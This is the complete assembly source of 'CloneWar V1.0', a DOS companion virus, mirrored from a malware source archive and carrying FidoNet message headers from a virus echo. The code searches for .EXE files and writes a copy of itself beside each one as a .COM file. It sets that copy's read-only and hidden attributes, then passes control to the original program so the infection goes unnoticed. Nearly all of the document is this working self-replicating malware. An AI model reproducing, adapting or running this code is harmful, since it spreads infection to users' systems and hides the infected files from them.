mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
198 lines
5.5 KiB
NASM
198 lines
5.5 KiB
NASM
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
|
||
; Msg : 9 of 54
|
||
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11
|
||
; To : - *.* - Fri 11 Nov 94 08:10
|
||
; Subj : CLONEWAR.ASM
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;.RealName: Max Ivanov
|
||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;* Kicked-up by MeteO (2:5030/136)
|
||
;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
|
||
;* From : Viral Doctor, 2:283/718 (06 Nov 94 16:26)
|
||
;* To : Mike Salvino
|
||
;* Subj : CLONEWAR.ASM
|
||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;@RFC-Path:
|
||
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
||
;18.n283!not-for-mail
|
||
;@RFC-Return-Receipt-To: Viral.Doctor@f718.n283.z2.fidonet.org
|
||
;NON-RESIDENT SPAWNER
|
||
|
||
CSEG SEGMENT
|
||
ASSUME CS:CSEG,DS:NOTHING
|
||
|
||
ORG 100H ;Beginning for .COM programs
|
||
|
||
START: JMP MY_BEGIN ;Initialization code is at end
|
||
|
||
DB "CloneWar V1.0 "
|
||
wild DB "*.EXE",0
|
||
file_Ext DB "COM",0
|
||
file_found DB 12 DUP(' '), 0
|
||
file_create DB 12 DUP(' '), 0
|
||
search_attrib DW 17H
|
||
num_infect dw 0
|
||
|
||
my_cmd:
|
||
Cmd_len db 13
|
||
file_clone db 12 DUP (' '), 0
|
||
|
||
ASSUME CS:CSEG, DS:CSEG, ES:NOTHING
|
||
|
||
;------------------------------------------------------------------;
|
||
Prepare_command:
|
||
cld
|
||
mov di,OFFSET file_clone
|
||
mov al,0
|
||
mov cx,12
|
||
repne scasb ; find the end of string \0
|
||
|
||
mov al,0Dh ; <CR>
|
||
stosb ; replace \0 with a <CR>
|
||
|
||
mov ax,12 ;store length of the command
|
||
sub ax,cx
|
||
mov cmd_len, al
|
||
ret
|
||
|
||
;------------------------------------------------------------------;
|
||
Store_name:
|
||
|
||
MOV DI,OFFSET file_found ;Point to buffer.
|
||
MOV SI,158
|
||
MOV CX,12
|
||
REP MOVSB
|
||
|
||
MOV DI,OFFSET file_create ;Point to buffer.
|
||
MOV SI,158
|
||
MOV CX,12
|
||
REP MOVSB
|
||
|
||
cld
|
||
mov di,OFFSET file_create
|
||
mov al,'.'
|
||
mov cx,9
|
||
repne scasb ;find the '.'
|
||
|
||
mov si,OFFSET file_ext
|
||
mov cx,3
|
||
rep movsb ;replace the .EXE with .COM
|
||
|
||
ret
|
||
|
||
|
||
;------------------------------------------------------------------;
|
||
;Does the file exist?
|
||
|
||
Check_file:
|
||
mov dx,OFFSET file_create
|
||
mov cx,0
|
||
mov ax,3d00h ; Open file read only
|
||
int 21h
|
||
|
||
Chk_done:
|
||
ret
|
||
|
||
;------------------------------------------------------------------;
|
||
Infect_file:
|
||
;Create file
|
||
mov dx,OFFSET file_create
|
||
mov cx,0
|
||
mov ah,3ch
|
||
int 21h
|
||
jc EXIT
|
||
|
||
;Write to file
|
||
mov bx,ax
|
||
mov cx,(OFFSET END_OF_CODE - OFFSET START)
|
||
mov dx,OFFSET START
|
||
mov ah,40h
|
||
int 21h
|
||
|
||
;Close file
|
||
mov ah,3eh ; ASSUMES bx still has file handle
|
||
int 21h
|
||
|
||
;Change attributes
|
||
mov dx,OFFSET file_create
|
||
mov cx,3 ;(1) read only, (2) hidden, (4) system
|
||
mov ax,4301h
|
||
int 21h
|
||
|
||
ret
|
||
|
||
;------------------------------------------------------------------;
|
||
; Read all the directory filenames and store as records in buffer. ;
|
||
;------------------------------------------------------------------;
|
||
|
||
MY_BEGIN:
|
||
mov sp,offset STACK_HERE ;move stack down
|
||
mov bx,sp
|
||
add bx,15
|
||
mov cl,4
|
||
shr bx,cl
|
||
mov ah,4ah ;deallocate rest of memory
|
||
int 21h
|
||
|
||
MOV DI,OFFSET file_clone ;Point to buffer.
|
||
MOV SI,OFFSET file_found
|
||
MOV CX,12
|
||
REP MOVSB
|
||
|
||
READ_DIR: MOV DX,OFFSET wild
|
||
MOV CX,search_attrib
|
||
|
||
MOV AH,4EH ; This finds the first matching file.
|
||
INT 21H
|
||
|
||
JC EXIT ;If empty directory, exit.
|
||
|
||
Do_file:
|
||
call Store_name
|
||
|
||
call Check_file
|
||
jnc seek_another ; CF = 0, shadow already there... skip it
|
||
|
||
call Infect_file
|
||
jmp Exit
|
||
|
||
seek_another:
|
||
|
||
find_next:
|
||
mov ah,4fh
|
||
int 21h
|
||
jmp Do_file
|
||
|
||
EXIT:
|
||
|
||
;Run the original program
|
||
call Prepare_command
|
||
mov si, OFFSET my_cmd
|
||
int 2Eh ;Pass command to command
|
||
; interpreter for execution
|
||
;Exit to DOS
|
||
MOV AX,4C00H
|
||
INT 21H
|
||
|
||
END_OF_CODE = $
|
||
|
||
STACK_HERE EQU END_OF_CODE + 512
|
||
|
||
CSEG ENDS
|
||
END START
|
||
|
||
;-+- PPoint 1.86
|
||
; + Origin: Miami Beach BBS - Nijmegen Nl - 080-732083 - ZyX 19K2 (2:283/718)
|
||
;=============================================================================
|
||
;
|
||
;Yoo-hooo-oo, -!
|
||
;
|
||
;
|
||
; þ The MeÂeO
|
||
;
|
||
;/a,/s Alphabetic or Source-code segment ordering
|
||
;
|
||
;--- Aidstest Null: /Kill
|
||
; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
|
||
|